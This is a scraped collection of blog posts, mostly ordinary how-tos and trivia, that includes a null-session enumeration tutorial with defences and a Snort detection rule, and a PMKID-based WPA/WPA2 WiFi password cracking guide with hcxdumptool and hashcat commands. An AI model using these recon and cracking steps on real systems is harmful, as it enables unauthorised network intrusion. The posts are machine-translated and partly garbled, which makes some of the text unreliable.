is it easy for hackers to use this attack? ' The answer is 'quite easy'. The Null Session connection can be set directly from a Windows command without using additional tools, which is the NET command. NET command can perform many administrative functions, when using this command we can create a connection to a standard share on the destination server, but this connection will fail due to login information. incorrect.  Figure 1: Connecting failures to a shared network using the NET command.\nWhen using the NET command, we can change the shared name connected to the IPC $ admin sharing. Then the results will be better.  Figure 2: Connecting null sessions successfully with the NET command.\nAt this point, we have set up a null session connection to the victim computer. However, we still do not have administrative access on this computer, so we cannot start searching for hard drives or getting passwords. Remember, IPC sharing is used to communicate between processes, so our access will be limited to the access of the SYSTEM user name. We can use the NET command to get more information from the target computer, but there are many automation tools that will perform these troublesome tasks. In this example, we will use the tool to retrieve information from null sessions named Enum. Enum is a free command line platform utility that can be used to get user names, group names, system information, etc. One of the most important information for hackers is the list of users on the system. . With this list, we can conduct password predictions and even apply password-breaking measures. To get a list of users with Enum, run the following command:\n Figure 3: Use the Enum tool to get a list of users on the system. With the list of users in hand, we can retrieve the system password policy to easily break the password.\n Figure 4: Use Enum to display the system password policy. Also we can get the list of shares on the victim's computer.  Figure 5: Use Enum to display shares on a system.\nEnum provides a number of other options that can be used to get the same types of information, even integrating a basic lookup attack tool that helps cracking passwords based on user lists.\n Figure 6: Enum's options list. These options cannot retrieve the login information correctly, but this is a stepping stone and a key component for hackers to gain access to the victim's computer.Null Session defense method When thinking of hackers and attacks, perhaps the first question that is often thought of is 'does our system have weaknesses?' The answer depends on the operating system on the network environment. If you are running Windows XP, Windows Server 2003 or Windows 2000, the answer is 'yes' to some extent. This form of attack is difficult to do when users use higher operating system versions, but Windows XP and Windows Server 2003 are still the most popular operating systems. There are several other methods we can do to block null sessions.\nBlock null sessions in the registry The compatibility of legitimate software and the fact that most businesses have to stick with old operating systems to tighten budgets are the two main reasons why Windows 2000 workstations and servers still exist. If you still use Windows 2000, you only need to make a small change in the Registry to block the ability to get information using null sessions.When accessing Regedit and browsing to HKLM / System / CurrentControlSet / Control / LSA / RestrictAnonymous key , you can configure 3 options including: 0 - Default setting. Unlimited access to null sessions. 1 - Not only eliminates null sessions but also blocks the display of user names and shares. 2 - Eliminate all values ​​to null sessions by blocking all access. As we can see, null sessions cannot be completely removed; however, its accessibility will be limited if you choose the installation option of 2. Be cautious when configuring this option on the server. Windows 2000 can damage Clustering. On Windows XP and Windows Server 2003, we can perform the same task in three Registry Keys:\nHKLMSystemCurrentControlSetControlLsaRestrictAnonymous 0 - Default setting. Null sessions can be used to list shares. 1 - Null Session cannot list shares. HKLMSystemCurrentControlSetControlLsaRestrictAnonymousSAM 0 - null sessions can list users. 1 - Default setting. Null sessions cannot list user lists. HKLMSystemCurrentControlSetControlLsaEveryoneIncludesAnonymous 0 - Default setting. Null sessions are not granted privileges.\n 1 - Null sessions are considered part of the user group (quite dangerous and can allow shared access).\n  Figure 7: Modifying the RestrictAnonymous key in the Registry.\nIn Figure 7, by default Windows XP only allows to list the shares by default. This is a more secure setting than the same installation in Windows 2000, but it still provides information for an intruder.Block access at network level If you cannot make the changes in the Registry Keys mentioned above, then you can block all access with Windows Firewall or Network Firewall. This process can be done by blocking access to ports related to NetBIOS and SMB via TCP / IP. These ports include:\nTCP port 135. Port UDP 137. UDP port 138. UDP port 139. TCP and UDP ports 445. These ports are used for all networking functions of Windows, including File sharing, network printing, Clustering, and remote administration.Note: The process of blocking access to ports should be considered carefully before executing on multiple ports.\nIdentify null sessions with IDS If the Registry or Firewall changes remove the functionality of network applications, we must use a different method. Instead of blocking statistics through null sessions, one of the most effective measures is to discover null sessions as soon as possible to implement timely remedies such as when implementing a security event. normal network secret.If you are using Snort, the most popular network IDS / IPS currently in a production environment, the following rule will detect Null Session statistics: alert tcp $ EXTERNAL_NET any -\u0026gt; $ HOME_NET 139 (msg: 'NETBIOS NT NULL session'; flow: to_server.establshed; content: '| 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4E 00 54 00 20 00 31 00 33 00 38 00 31 |'; classtype: attempted-recon;)\nThis rule will not prevent null sessions, but it will notify you when a null session occurs. Conclude The null session concept is not a new threat, but it is always forgotten and overlooked. Using a null session attack, hackers can get information from the system. Understanding how to run null sessions is a must for those who are responsible for the security of systems on the network.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkp62coXq0sdKsoKimXZbBta3CpKo%3D\n","link":"/post/learn-null-session-attacks/","section":"post","tags":null,"title":"Learn Null Session attacks"},{"body":"We all know that human blood is red, but the veins under the skin are green. It is due to the light reflection of the skin, the amount of oxygen in the blood and other factors.\nWhy split into blood groups? Losing up to 2 thirds of blood in the body, can humans survive?   Human blood is always red due to iron, iron mixed with oxygen in the lungs, causing blood to turn red. Therefore, blood in the body is red or red, depending on the amount of oxygen in the blood. The veins themselves are not green, they are only green when viewed through the skin and are dominated by the following four factors.\nThe first element is the interaction of light with the skin in multiple wavelengths, equivalent to different colors. Human skin always absorbs light and radiates back into the environment thousands of times in the blink of an eye.\nScientists found that human skin emits more blue light than red, so we often see veins are green.\n  In addition, the amount of oxygen transported by red blood cells in the blood affects the color and ability to absorb light of the blood. A red blood cell can transport up to 4 molecules of oxygen. In the process of transport, due to the impact of surroundings such as high temperature, acid environment, one or more oxygen molecules will leave the red blood cells, making the blood more dark and easier to see green.\nThe diameter and position of veins is also one of the reasons why we see them green. If the veins are located just under the skin, they will be red, but the deeper they go, they will gradually turn blue. In fact, the vast majority of human veins lie more than half a millimeter deep under the skin.\nThe last factor is the brain . The contrast of the surrounding skin color causes the brain to be \"fooled\" and tends to make veins green. For example, when you put purple next to red, your brain will turn purple into blue, not purple.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJqpnmWYqrqiuoyvnKKmo2K0s7HEp2SwoJmhsm6uy6imnWWZqHqzscM%3D\n","link":"/post/why-are-human-veins-green-while-blood-is-red/","section":"post","tags":null,"title":"Why are human veins green while blood is red?"},{"body":"Here are 30 interesting facts about chickens, after reading them you will be amazed.\n  1. With a population of about 25 billion chickens, chickens are the most raised poultry species in the world.\n2. Chicken is actually a bird domesticated and raised from 5,400 years ago. And most of the chickens were originally domesticated, not for meat as today, but for cockfighting competitions.\n3. Currently, chickens are present in all parts of the globe, but the truth is that all chickens have ancestors in Southeast Asia.\n4. Chickens can fly, the record flight time of Chickens is 13 seconds. When they want to escape from dangerous or threatened places, chickens can also fly high enough to fly over a fence or up a branch.\n5. Chickens have a good memory, they can distinguish more than 100 different faces of members of the species. In addition, chickens are not color blind, but on the contrary they can see and fully distinguish colors. An adult chicken is also said to be smarter than a toddler.\n6. Chicken feed not only eats nuts and small insects, but they also eat gravel and large prey like lizards or mice.\n7. At the same time the hen will mate with many different males. After mating, the hen will choose to give birth to which male and, even after choosing, if she suddenly does not want to continue giving birth with the chosen male, it can excrete that sperm.\n  8. To attract the hen, the rooster performs a small dance called 'tidbitting' and makes a special sound and then moves its head up and down, picking up and dropping the food.\n9. When it finds food, the rooster will call 'detention' to notify the flock, while the hens will be silent.\n10. After laying, and at times when the chicks are lost, the hen will \"loosen\" continuously at high volume.\n11. Chickens communicate with each other to alert their fellow humans of the threats they see through more than 24 different squeals.\n12. When incubating, the hen will turn her eggs about 50 times a day and call her young from the time the eggs are not yet hatched.\n13. Like humans, chickens can dream, feel pain and sadness.\n14. Hens in the wild only lay about 10-15 eggs a year, while industrial hens can lay eggs every day.\n15. Chickens can take advantage of sunlight to find food, water and determine time. Therefore, the rooster can crow in the early morning like a biological clock.\n16. Chicken can taste salty, but cannot taste sweetness.\n17. Chickens can be navigated with biosensors that detect the Earth's magnetic field like doves.\n  18. The heart of the chicken beats at a rate of about 300 times / minute.\n19. The maximum number of yolks in an egg is 9.\n20. The average life expectancy of chickens is about 10-14 years depending on breed. The longest lifespan in the world is a hen. It died of heart disease, \"enjoy them\" 16 years old.\n21. Brahma is a chicken known as 'king of chickens'. This giant chicken has a super weight, the cock weighs about 9-18kg, the hen weighs about 7kg.\nncG1vNJzZmismaXArq3KnmWcp51kf3F5yKernqqVqMGqusZmnZqbpKh6oq7Orqtmm5iesKyxzWaqqZ2TnrK0ediorGalka56r7vTZqKnp6dixqbA\n","link":"/post/20-interesting-facts-about-chicken-species-you-may-not-know-yet/","section":"post","tags":null,"title":"20+ interesting facts about Chicken species you may not know yet"},{"body":"In the process of studying or working, there must be at least one time you have to stand in front of the crowd to present your topic. In order to make a strong impression on the followers, in addition to the content and voice of the presenter, the presentation form also accounts for a small part of the presentation of the presentation. To avoid causing boredom to listeners, you can use beautiful, really impressive images, PowerPoint backgrounds to bring excitement to people and your presentations. Instead of using the simple computer wallpaper available, download immediately the Powerpoint wallpaper that we synthesized right after, with professional wallpapers, reserved for Powerpoint presentations it will definitely Help you score points in people's eyes.\nHere are some of the Powerpoint wallpapers we took from the collection.\nDownload now a simple but charming Vintage photo wallpaper theme for your computer Collection of the best peach blossom flower wallpapers for computers Beautiful free PowerPoint slides for office workers                                                                                     The images in the article are of reference nature, if you love this collection of Powerpoint wallpapers, you can download the collection here.\nHope with these wallpapers will help you be more confident and get the best Powerpoint.\nSee more:\n50 alternative slideshow applications for PowerPoint How to copy PowerPoint file content to Word file How to transfer tables from Word to PowerPoint ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdo7y4ecBmmZ6Zpam2p8HLZqerp5aawLS1zqeYpWWgpMSmvs%2BooKesXayurbjPmqeeql2osrU%3D\n","link":"/post/download-now-a-beautiful-professional-powerpoint-wallpaper-set/","section":"post","tags":null,"title":"Download now a beautiful, professional PowerPoint wallpaper set"},{"body":"The cause of the IPv6 No Network Access error When a device connects to the Internet, that device receives one or more network addresses. Usually, a device receives both an IPv4 address and an IPv6 address. IPv6 is a newer networking standard that aims to allow a larger network of connected devices than the old IPv4 protocol, which is widely used.\nWhen properly configured, most devices perform well when a network connection is made with at least one of these two protocols. But sometimes, a device connects to and receives an IPv4 address, not an IPv6 address. For example, in Windows, when you view the network connection details, the device may show the connection to an IPv4 network but shows No Internet access next to the IPv6 connection.\nThere are several reasons why this error occurs. In most cases, the cause is revealed through the correct troubleshooting step that helps resolve the issue.\nThe network that you use must support an IPv6 connection. In some cases, the network administrator may have configured the network to support only IPv4 connections. If this is the case, you cannot enable IPv6 connectivity to that network, no matter what changes you make on the device.\n IPv6 No Network Access error How to fix IPv6 No Network Access error Try the following steps to troubleshoot IPv6 connection.\n1. Reboot the device When you restart a device, you also restart that device's network connections. Many network problems that are difficult to fix can be solved by turning the device off and then on again. During the boot process, most devices will automatically rejoin previously connected wired or wireless networks.\n2. Restart the router and modem Problems with your Internet service provider or router may result in a loss of connection with the IPv6 address. If you have two network devices, reboot the modem first, then wait a minute or two and reboot the router.\nWhy does restarting the router fix so many problems? Nowadays, Internet service providers tend to provide customers with a single device that acts as both a modem and a wireless router. If that's what you have, turn the device off, wait a minute, and then turn it back on.\n3. Update the device's operating system Operating system updates often include fixes for unusual network connectivity problems.\nHow to keep your Windows computer up to date 4. Check for network device driver updates (Windows) PC and network device manufacturers often provide network driver updates for devices that work with Windows. Check the manufacturer's support website to find out about any available device driver updates. In some cases, you may need to install more than one device driver update.\n5. Upgrade the router firmware Router manufacturers tend to release periodic updates to improve device security and performance, including how devices handle IPv6 connections.\nImprovements often fix problems with connectivity between the router and Internet service provider, as well as the connection between the router and local devices on the network. For example, some older routers added or improved support for IPv6 connectivity in later firmware updates. However, some older routers do not fully support IPv6.\n6. Run Windows Troubleshooter (Windows 10) This application is used to fix Internet connections. From the Start menu , select Settings\u0026gt; Update \u0026amp; security\u0026gt; Troubleshoot . Next, select Internet Connections , then choose Run the troubleshooter. Follow the on-screen prompts and allow the troubleshooter to handle any identified problems.\n7. Turn off and then turn on each network connection (Windows) In some cases, this can help identify a specific problem with the device or connection.\n8. Reset IPv6 settings from Command Prompt (Windows) Here's how to do it:\n- Open Command Prompt with admin rights.\n- Enter netsh winsock reset catalog , then press the key Enter.\n- Enter netsh int ipv6 reset reset.log and press the key Enter.\n- Reboot the system.\n9. Reset network settings on iOS or Android device This will clear the settings for the WiFi network and reset the mobile network settings to default. For Google Pixel devices and other Android 9.0 Pie systems, go to Settings\u0026gt; System\u0026gt; Reset options\u0026gt; Reset Wi-Fi, mobile \u0026amp; Bluetooth . This should resolve any issues caused by manually configuring an IPv6 network connection.\n10. Turn off any active virtual private network (VPN) connections Many VPN programs and connections disable IPv6 connection to help secure the network connection. These programs manage and restrict your device's exposure to network information.\nAn active VPN connection can also automatically turn off any IPv6 network connections. After you turn off the VPN, the device will connect to the Internet normally.\nIf you find that this solves the problem, check with your VPN provider to see if they offer alternative settings with IPv6 support. Many VPN services have devised methods to allow IPv6 connections, while hiding the IPv6 data of the actual device. However, not all VPN services support IPv6 connectivity.\n11. Turn off firewall on Windows or macOS devices An incorrectly configured firewall may block some or all of the IPv6 network connections. If IPv6 networking works when the firewall is disabled, review the firewall settings or restore the default firewall settings.\nMany third-party security applications include firewalls. Look in the settings to temporarily disable the firewall that came with the security software on your system.\n12. Turn off IP Helper service (Windows) This feature attempts to manage some aspects of the IPv6 connection. To disable it:\nPress the Win+ key R, then type services.msc in the displayed Run box and select OK.\nThis will open a list of Windows system services. Scroll through the list and find the service named IP  Helper , then right-click on the service name and select Properties.\nIn the Startup type drop-down list , select Disabled\u0026gt; OK .\nReboot the system, then check if the existing IPv6 connection is working as expected.\n13. Access the router as an administrator Explore the controls to make sure that IPv6 connections are enabled. Change the setting to Auto Detect or Auto-Config, if either option is available. If not, make sure the service is enabled.\nOnce enabled, you may need to restart your router to establish an IPv6 connection. It may take a while for the IPv6 connection to work and be available, so wait a few more minutes after you start the router to check the connection.\n14. Adjust the IPv6 tunnel settings The final step to take is to adjust how the router and home network handle IPv6 addresses. Try this while accessing your home router as admin. Since IPv6 is designed for every device to have a directly accessible address, the default settings for modern routers connecting to today's Internet service providers should work fine.\nYou can experiment with other IPv6 settings on your router if you have problems. First, select 6to4 tunnels in the router's settings to allow IPv6 and IPv4 traffic, as well as the devices to work together. Another option is to disable shared IPv6 connections.\nFor example, some people report that disabling Share IPv6 connection on Apple Airport routers will resolve IPv6 connection problems for local devices.\n15. Contact the device manufacturer for further assistance If your IPv6 network access problems are not resolved, the last resort is to seek professional help.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6qrzVb2Snp12jsrXDzquiZpmTmLK0vw%3D%3D\n","link":"/post/how-to-fix-the-error-ipv6-no-network-access/","section":"post","tags":null,"title":"How to fix the error IPv6 No Network Access"},{"body":"In fact, the failure to display images in Outlook is not an error from the sender, or a problem with sending emails, but is due to the default Outlook settings set by Microsoft. According to Microsoft, not displaying images in Outlook emails will partly help protect your computer while the pictures are automatically downloaded to your computer.\nIn case the picture is not displayed, we can manually download the photo and customize the photo display settings in Outlook. This article will guide you how to display images in Outlook emails.\nInstructions to show Outlook email images Pictures that are not displayed in Outlook email will have the message shown below.\n  To download pictures, right-click on the message as shown and choose Download Pictures in the menu that displays. The image will then be downloaded to your computer.\n  If users want to show images in Outlook email, you need to change the default setting again.\nOn Outlook 2010, 2013, 2016 At Outlook interface, click File\u0026gt; Options\u0026gt; Trust Center . Switch to the new interface at the Microsoft Outlook Trust Center, we click on Trust Center Settings .\n  At the interface as shown in the picture, you uncheck the box at \"Don't download pictures automatically in HTML e-mail messages or RSS items\" .\n  On Outlook 2007 In the Outlook 2007 interface menu, click Tools\u0026gt; Trust Center .\n  In the new interface click on Automatic Download and then also uncheck the box \"Don't download pictures automatically in HTML e-mail messages or RSS items\" .\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6sLKMp6atZaOdvLi1zaBkqaGTqcKzsdJmoKdln6rBrbvOpA%3D%3D\n","link":"/post/how-to-fix-the-error-of-not-showing-pictures-in-outlook/","section":"post","tags":null,"title":"How to fix the error of not showing pictures in Outlook"},{"body":"New security researchers reveal a new WiFi hacking technique that makes it easy to find the WiFi passwords of today's most modern routers. Discovered by Jens Steube (nicknamed 'Atom') - developer of the famous Hashcat password hacking tool - while analyzing the newly released WPA3 security standard, this method targets the WPA wireless network protocol. / WPA2 with roam based on PMKID (Pairwise Master Key Identifier).\nThis new WiFi hack method allows an attacker to retrieve the PSK login password (Pre-shared Key) to hack into WiFi network and sneak on Internet activities. Previously, an attacker had to wait for someone to log on to the network and obtain a four-way handshake of EAPOL - a network authentication protocol. But with the new method, there is no need for users on the destination network, but only on the RSN IE (Robust Security Network Information Element) using a single EAPOL (Extensible Authentication Protocol over the LAN) after sending a request from the access point. .\nRobust Security Network is a protocol for establishing 802.11 wireless network security and using PMKID - the key needed to establish a connection between the client and the access point.\nHow to hack Wifi using PMKID   Step 1: The attacker uses a tool like hcxdumptool (https://github.com/ZerBea/hcxdumptool) (v4.2.0 or more) to request the PMKID from the destination access point and put the received frame into a file.\n $ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status  Step 2: Using the hcxcaptool tool (https://github.com/ZerBea/hcxtools), the output (pcapng format) of the frame is converted to the hash format approved by Hashcat.\n $ ./hcxpcaptool -z test.16800 test.pcapng  Step 3: Use the Hashcat password cracking tool (https://github.com/hashcat/hashcat) (v4.2.0 or more) to get the WPA PSK password done.\n $ ./hashcat -m 16800 test.16800 -a 3 -w 3 '? l? l? l? l? l? lt!'  That is the password of the destination wireless network, how long it takes depends on the length and complexity of the password.\n'We currently don't know how many providers or how many routers this method can use on products, but we think it will work with 802.11i / p / q / r networks that enable network switching. (ie most routers today) ' , Steube said.\nBecause password hacking only happens when the network has switched networks and needs an attacker to try multiple passwords, users are encouraged to protect the network by using a hard-to-guess password. This type of hack does not work with the new generation WPA3 wireless network security protocol because 'the new key creation protocol is called Simultaneous Authentication of Equals (SAE)'.\nSee more:\nKRACK attack breaks down the WPA2 WiFi protocol What is the newly announced WPA3 WiFi security protocol? How to hack Wifi password with Aircrack-Ng How to find Wi-Fi passwords of relatives How to hack Wifi passwords using Wifiphisher ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRmLhuw8ifoGaokajAuLvRnapmr5mptW60zqWcrGWfo3q4vMBmrqmZYg%3D%3D\n","link":"/post/how-to-hack-wifi-passwords-with-holes-on-wpa-wpa2/","section":"post","tags":null,"title":"How to hack WiFi passwords with holes on WPA / WPA2"},{"body":" Boogie-woogie piano is a style of music that is extremely rhythmical and focuses on dance. It was first developed in the late 1800's in rural African American communities in the Southern United States. Boogie-woogie piano is played by the...\nPart 1of 4:\nGetting Started  Listen to the masters. Music is a language, and like learning any language, you need to listen to its native speakers. Start by listening to some of the old masters to get an idea of their rhythms, phrasing, timing, and styles. Here are some good people to start with: Clarence \"Pinetop\" Smith, Cripple Clarence Lofton, Jabo Williams, Montana Taylor, Jimmy Yancey, Hersal Thomas, Albert Ammons, Meade Lux Lewis, Pete Johnson, Big Maceo Merriweather, Otis Spann, Amos Milburn, Professor Longhair and James Booker. Download their music and listen a little bit to them every day to start getting the true sounds of boogie-woogie in your ears!\n Part 2of 4:\nLearning the Left Hand  Learn at least one left hand bass pattern. The left hand is the most important feature of boogie-woogie piano playing and without a steady bass pattern there is no hope of playing true boogie-woogie. Most left hand patterns are '8-to-the-bar', meaning there are eight eighth-notes played in every bar. Learn at least one left hand bass pattern and be able to play it automatically and independently of the right hand.\n  Develop hand independence. This is a great exercise for getting your foot in the door to achieving left hand independence with any new bass pattern you learn. For this example, use your boogie-woogie left hand pattern from Step two. Play the Shuffle pattern (staying on the C chord) in the left hand, and introduce increasingly complicated rhythms in the right hand, using a C6 chord in the first inversion.  Practice this technique over the three chords of a 12-bar blues. The most common musical form for boogie-woogie songs is a 12-bar blues[1] It consists of three chord changes, the I chord, the IV chord, and the V chord. In the key of C, the I chord is C, the IV chord is F, and the V chord is G. It is absolutely essential that you memorize the 12-bar blues form. You can simply transpose the voicing used for C6 to the keys of F and G, or you can try these different voicings: to make an F chord, simply lower the E to an Eb from your C6 chord. This will make an F9 chord. For a G chord, shift your fingers slightly over to f-g-b-d. Practice the hand independence exercise shown above in the new keys of F (starting the left hand pinky finger on F, and playing an F chord in the right hand) and G (starting the left hand pinky finger on G, and playing a G chord in the right hand).  Part 3of 4:\nLearning the Right Hand  Learn a right hand lick. In boogie-woogie piano playing, when the right hand is not playing chords to accompany vocals or another soloist, it usually plays licks. According to Arthur Migliazza's book 'How To Play Boogie Woogie Piano,\" there are only 8 primary licks, from which infinite variations and combinations are possible. Lick #1 is the most basic, and consists of keeping the right hand in the basic position of a C major triad.\n   Learn some variations of your first lick. Learn some variations of the lick so that you have more material to work with in your song.\n Practice the lick and variations while playing the left hand bass pattern. The next step is to introduce your right hand licks to your left hand boogie-woogie bass pattern. Practice in C, F and G separately. [Note: you can transpose these licks to F and G, or just play them in C while the left hand changes! It still works!]\n  When you are comfortable playing the licks in all three keys, put them in the context of a 12-bar blues.\n Part 4of 4:\nPutting it Together with an Introduction and Ending  Learn an introduction. Introductions to boogie-woogie songs vary widely. A very common way to start a boogie-woogie is by simply playing the left hand bass pattern for four measure by itself, and then introduce the right hand.Another common way to begin a boogie-woogie is by using the first two chords of a turnaround progression, the I7 and I dim 7. In the key of C this means C7 and C diminished 7. An intro of this sort is usually four measures in duration and consists of going back and forth between these two chords. These four measures count as the first four measures of the 12-bar form and when the left hand comes in with the bass pattern it is on the IV chord.   Learn an ending. The simplest way to end a boogie-woogie is by playing this figure with the left hand by itself.\n Combine a repeating, rhythmic bass pattern in the left hand with chords and licks in the right hand. Use an intro to start and an ending to finish and now you're playing boogie woogie!\n  Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZurs6onqKdXay8sLPInmSpoZGjvA%3D%3D\n","link":"/post/how-to-play-boogie-woogie-piano/","section":"post","tags":null,"title":"How to Play Boogie Woogie Piano"},{"body":"1. Set up synchronization feature Step 1: You start the Firefox application and select the icon Three dashes (Expand) -\u0026gt; Options . Then, you select the tab Sync to proceed with the installation.\n  Step 2: If you already have a Firefox account, then select Login , and if you do not have a Firefox account, select Do not have a Firefox account? Start to proceed with the registration. Registration is very simple, you only need an email address to register.\n  Step 3: After logging in, you will be presented with the following interface to complete the notice.\n  Step 4: Your symbols Three dashes (Expand) -\u0026gt; Options . Then, you select the Synchronization tab and select Change . (C) to proceed to select the items to back up.\nBookmarks: Synchronize your favorite pages, which you have stored. History: Synchronize browsing history Open Tabs: Synchronize open Tabs (tabs) from one device to another. Login and password: Synchronize accounts, login passwords on FireFox browser Utilities: Synchronize utilities, Add-ons on FireFox Optional: Sync settings and settings of FireFox so that you don't have to reset when you switch to a new device.   2. How to sync FireFox data between devices After setup is complete, you have successfully synchronized the data on FireFox browser. Now you want to use the synchronization, you just need to open the FireFox browser on other devices and proceed to log in to the same FireFox account is done. Your data will be synchronized immediately.\nThe current FireFox browser can synchronize data between devices such as mobile (iOS, Android), computers, tablets, so it is very diverse.\n3. How to sync FireFox data on phone Step 1: Start the FireFox application on your phone and select the \"Three dots\" icon . Then, you choose Settings to set up the information.\n  Step 2: Then, you select Log in and proceed to login with your Firefox account is done.\n  4. How to use the synchronization feature on FireFox The synchronization features such as Bookmarks, History, Login and Password, Utilities, Options will automatically be available on FireFox and you restart FireFox will see all the updated data.\nParticularly open Card feature only works when you need to use it. Operation of using Open Tab - share an open Tab to other device as follows:\nStep 1: You select the Book icon and select The synchronized card .\n  Step 2: After that, you will see the open Tab on other devices syncing in the account.\n  5. Delete other devices from the sync account If you do not want to sync data with other devices anymore, you can delete them from your account with the following operation:\nStep 1: select the Personal icon and select Install .\n  Step 2: Then, you choose Account settings .\n  Step 3: Next, you select the Show of Devices \u0026amp; App tab to see the devices are logged into the account.\n  Step 4: When you want to turn off syncing with any device, you just need to select Disconect the correct device name is done.\n  In this article, Software Tips showed you how to synchronize bookmarks, passwords, browsing history, and open tabs on Firefox. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqupo7Cpvs6noLOdXZmuta2Mm6aoo52Wv6y%2FjKmYrKunpL%2Blv4ybqaivo567qHnHoqqtp6KuerC8xKdkrZmSqHqquoyfoKudlqTF\n","link":"/post/how-to-synchronize-data-bookmarks-passwords-browsing-history-open-tabs-in-firefox/","section":"post","tags":null,"title":"How to synchronize data bookmarks, passwords, browsing history, open tabs in Firefox"},{"body":"On Chrome has set up an ad blocker when surfing the web, but users do not need to install an ad blocking tool for the browser. This will remove unwanted ads for viewers, such as pop-up ads, videos, etc. However, in some pages advertising brings useful information to viewers, such as programs. Free key for gamers, . If users want to unblock default ads on Chrome on a fixed website, you can customize the settings in Chrome.\nHow to block pop-up ads on Android devices How to block ads on Coc Coc? How to remove the \"junk\" search bar from Chrome and Firefox browsers Guide to unblock website ads on Chrome Step 1:\nUsers accessing the website want to unblock the default ads on Chrome browser. Click on the padlock icon (or i) in the address bar on your browser. Select Site Settings (Site Settings).\n  Step 2:\nIn the interface set up on the user page, go to the Ads section. By default the site is leaving the default Block mode. To cancel blocking, click on Allow (Allow).\n  Blocking ads on browsers including Chrome will increase the experience when surfing the web, removing unnecessary ads. However, there are websites that you trust, want to see advertising banners, you can cancel advertising blocking mode on Chrome.\nSee more:\nHow to block Google personalized ads How to delete cache and cookies on Chrome, Firefox and Coc Coc Do you know how to block websites on Chrome? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2el7mwr8pmm56ekaq5tXnAnapmp55isKm%2Bzqac\n","link":"/post/how-to-unblock-default-ads-on-chrome/","section":"post","tags":null,"title":"How to unblock default ads on Chrome"},{"body":"At the CES 2019 technology show, D-Link introduced a new series of Exo mesh smart router and McAfee security suite. D-Link also introduced its first 5G router.\nWhat does the 5G NR router and D-Link's Exo Mesh Wi-Fi router stand out for? Wi-Fi EXO mesh routers McAfee security suite Router 5G NR EXO mesh Wifi routers   A Wifi mesh router will consist of one or more access points, providing signals for a wide area. This is useful for large or large areas of Wifi interceptors, such as concrete walls or ceilings. In contrast to the Wifi extenders that are not mesh types (creating separate networks), the Wifi mesh network is a unified whole, meaning that users can seamlessly move between different access points.\n5 Exo routers in this new series support 10 or more access points. D-Link, though giving out information is unlimited, said it has not been thoroughly tested. In the test area of ​​D-Link, this setting covers an area of ​​about 5000 square feet (465 square meters), but the actual results will vary depending on the environment.\nExo AC1300 is a dual-band router, while high-end AC3200 is a tri-band type.\nWhat is a dual-band and tri-band router? For ease of use, the Exo routers use the WPS button (this is a button on the router, just press it to set it) for Wifi Protected Setup (WPS). The problem with this convenient solution is that anyone who has access to this button can access the network. So make sure the router is secure to prevent unwanted access.\nMcAfee security suite All Exo routers offer a five-year free security package that supports McAfee's Cloud-based Machine learning feature.\nThe software is preinstalled on all routers in this series. It protects all connected devices from external threats, using artificial intelligence to detect McAfee's global threats.\nUsers can manage their network security, including parental control settings or listing black sites, via the McAfee application.\nThe expected release date for these new Exo routers is Q2 of 2019 and prices will range from $ 170 to $ 190 (VND 3,940,000 - VND 4,400,000). Access points are sold separately and will cost up to $ 100 (2,300,000VND).\nRouter 5G NR   D-Link also introduced 5G routers. 5G mobile Internet is the highlight at CES this year. In addition to making mobile Internet faster, the 5G network promises to replace traditional wired broadband Internet.\nWith 5G NR, users will no longer need a traditional ISP. D-Link hopes that mobile Internet service providers will equip routers with integrated SIM cards and sell directly to consumers. At the moment, the company has no plans to release an unlocked version of the 5G NR, although D-Link says that will depend on users' needs. D-Link did not give any information about prices for 5G 'home' Internet service packages.\nA potential advantage of the 5G home Internet router is that users can take with them wherever they go and connect to the Internet, as long as ISP provides 5G network. In other words, the user may not have to change the ISP when moving.\nThe first release for the 5G NR is expected to be in the third or fourth quarter of 2019. However, it should be noted that its speed may not be as fast as you expect unless the place you live is available 5G .\nSee more:\nWhat's on the ASUS RT-AX88U and NETGEAR RAX80 - 2 the first Wifi 6 router on the market Top best 802.11ac wireless Wifi router Top 5 best Netgear routers today ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFugcZmpatloqTCtbHRZpinnF2Zuaq6yqxksKGWnnqmxM5mqaitpJq%2F\n","link":"/post/learn-about-5g-nr-router-and-d-link-s-wifi-exo-router/","section":"post","tags":null,"title":"Learn about 5G NR router and D-Link's WiFi Exo router"},{"body":"   \u0026nbsp; Part 1: Basic concepts    \u0026nbsp; Part 2: Complete the script    \u0026nbsp; Part 3: Understanding WMI  Part 4: Use Win32_NetworkAdapterConfiguration  Part 5: Overcoming challenges  Part 6: The first steps for remote scripting    Part 7: Troubleshooting errors    Part 8: Remote script error handling with Network Monitor 3.0  Part 9: Understanding remote control scenarios  Part 10: Tricks of remote control scenarios\nMitch Tulloch\nIn the previous part of this series we learned two tricks for remote control scenarios. In the previous section we saw two more script tips. The first tip, remote scripting tricks from a reader, a second tip, a real world example is used to show how to use the Windows Management Instrumentation Command-line (WMIC).\nTip 1: Trick 'runas' but with encryption \n The first scenario scenario was submitted by reader Steven Beard from England. Steve offers a completely different way to call the 'runas' command from within the script and this can be useful in business environments. Listen to what Steve said: I have used vb scripts for years to administer my Windows domain but have never understood all about WMI but just what I really needed. Although the final part of your interest in the runas function is great, I use it in many different ways, as you can see below:\nSet WshShell = CreateObject (\"Wscript.Shell\")\nSet WshEnv = WshShell.Environment (\"PRocess\") WshShell.Run \"runas.exe / user:\" \u0026amp; \"domainuser\" \u0026amp; \"\" \u0026amp; Chr (34) \u0026amp; \"cscript c: PCQuery.vbs\" \u0026amp; Chr (34) Wscript.Sleep 800 WshShell.AppActivate WshEnv (\"SystemRoot\") \u0026amp; \"system32runas.exe\" Wscript.Sleep 200 WshShell.SendKeys \"PASSWORD\" \u0026amp; \"~\" Wscript.Sleep 500 Set WshShell = Nothing Set WshEn = Nothing\nBasically, I hide all scripts that need administrative rights in the above 